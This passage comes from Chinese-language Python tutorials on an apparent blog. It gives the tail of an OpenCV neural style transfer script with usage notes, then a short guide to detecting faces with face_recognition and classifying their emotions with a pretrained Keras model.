parser.add_argument('--input', help='Path to image or video. Skip to capture frames from camera')
parser.add_argument('--model', help='Path to .t7 model')
parser.add_argument('--width', default=-1, type=int, help='Resize input to specific width.')
parser.add_argument('--height', default=-1, type=int, help='Resize input to specific height.')
parser.add_argument('--median_filter', default=0, type=int, help='Kernel size of postprocessing blurring.')
args = parser.parse_args()

net = cv.dnn.readNetFromTorch(args.model)

if args.input:
    cap = cv.VideoCapture(args.input)
else:
    cap = cv.VideoCapture(0)

cv.namedWindow('Styled image', cv.WINDOW_NORMAL)
while cv.waitKey(1) < 0:
    hasFrame, frame = cap.read()
    if not hasFrame:
        cv.waitKey()
        break

    inWidth = args.width if args.width != -1 else frame.shape[1]
    inHeight = args.height if args.height != -1 else frame.shape[0]
    inp = cv.dnn.blobFromImage(frame, 1.0, (inWidth, inHeight),
                              (103.939, 116.779, 123.68), swapRB=False, crop=False)

    net.setInput(inp)
    out = net.forward()

    out = out.reshape(3, out.shape[2], out.shape[3])
    out[0] += 103.939
    out[1] += 116.779
    out[2] += 123.68
    out /= 255
    out = out.transpose(1, 2, 0)

    t, _ = net.getPerfProfile()
    freq = cv.getTickFrequency() / 1000
    print(t / freq, 'ms')

    if args.median_filter:
        out = cv.medianBlur(out, args.median_filter)

    cv.imshow('Styled image', out) 

注意,源代码是基于Python2的,所以第46行少了括号,如果你是Python3请注意补上括号。

这份代码可以直接使用, parser 里定义了5个参数:

–input输入要迁移的图像位置,

–model指要使用的模型,

–width/–height指的是迁移后的图像宽度和高度,

median_filter 是中值滤波器, 基本思想是用像素点邻域灰度值的中值来代替该像素点的灰度值,因此理论上数值越大,图像越平滑,输出的结果细节越好(不确定)。

median_filter 亲自试了一下,对结果的影响不大。

3.开始迁移

将上述代码保存到一个文件中,命名为1.py,在CMD/Terminal中带参数运行脚本即可迁移。如:

python 1.py --input 1.jpg --model udnie.t7

效果如下:

全部9种风格的迁移效果:

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 超简单实现人类面部情绪的识别

还记得我们之前写过一篇文章《手把手教你人脸识别自动开机》吗?里面用OpenCV对人脸进行简单的识别,让计算机训练认识到某个特定人物后识别对象。今天来做点高级的,识别出人脸的情绪

本文分为两大部分:

1.面部检测:检测图像的脸部位置,输出边界框的坐标

2.情绪检测:将面部的情绪分为高兴、生气、悲伤、中性、惊讶、厌恶、恐惧。

一、面部检测

可以使用上次文章( 《手把手教你人脸识别自动开机》 )中讲到的方法—用openCV检测,也可以使用face_recognition项目非常简单地实现面部检测。

这里我们尝试一下face_recognition项目, face_recognition 安装:

Face_recognition需要用到一个包叫dlib, 通过pip可能不一定装得上,因此这里推荐大家使用anaconda安装dlib:

conda install -c conda-forge dlib 

然后再安装Face_recognition:

pip install face_recognition

用face_recognition三句代码就能识别图像中的脸部:

import face_recognition
image = face_recognition.load_image_file("1.png")
face_locations = face_recognition.face_locations(image)

二、情绪检测

人类习惯从面部表情中吸收非言语暗示,那么计算机可以吗?答案是肯定的,但是需要训练它学会识别情绪。今天我们不太可能讲收集数据、构建CNN模型等逻辑流程。我们直接用priya-dwivedi训练好的模型,他们用Kaggle开源数据集(人脸情感识别 FER)训练了一个六层卷积神经网络模型。

现在就调用模型识别一下孙哥在这张图里的情绪吧:

import face_recognition
import numpy as np
import cv2
from keras.models import load_model
emotion_dict= {'生气': 0, '悲伤': 5, '中性': 4, '厌恶': 1, '惊讶': 6, '恐惧': 2, '高兴': 3}

image = face_recognition.load_image_file("1.png")
# 载入图像
face_locations = face_recognition.face_locations(image)
# 寻找脸部
top, right, bottom, left = face_locations[0]
# 将脸部框起来

face_image = image[top:bottom, left:right]
face_image = cv2.resize(face_image, (48,48))
face_image = cv2.cvtColor(face_image, cv2.COLOR_BGR2GRAY)
face_image = np.reshape(face_image, [1, face_image.shape[0], face_image.shape[1], 1])
# 调整到可以进入该模型输入的大小

model = load_model("./model_v6_23.hdf5")
# 载入模型

predicted_class = np.argmax(model.predict(face_image))
# 分类情绪
label_map = dict((v,k) for k,v in emotion_dict.items()) 
predicted_label = label_map[predicted_class]
# 根据情绪映射表输出情绪
print(predicted_label)

结果:

python emotion.py
高兴

从下面终端输出的结果我们可以看到孙哥现在是高兴的情绪,这个结果应该正确(毕竟孙哥还是表里如一的)。

虽然简单,但还是建议有兴趣的同学从头到尾做一遍试一下,过程中会遇到不少的坑,慢慢百度谷歌解决就好了。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典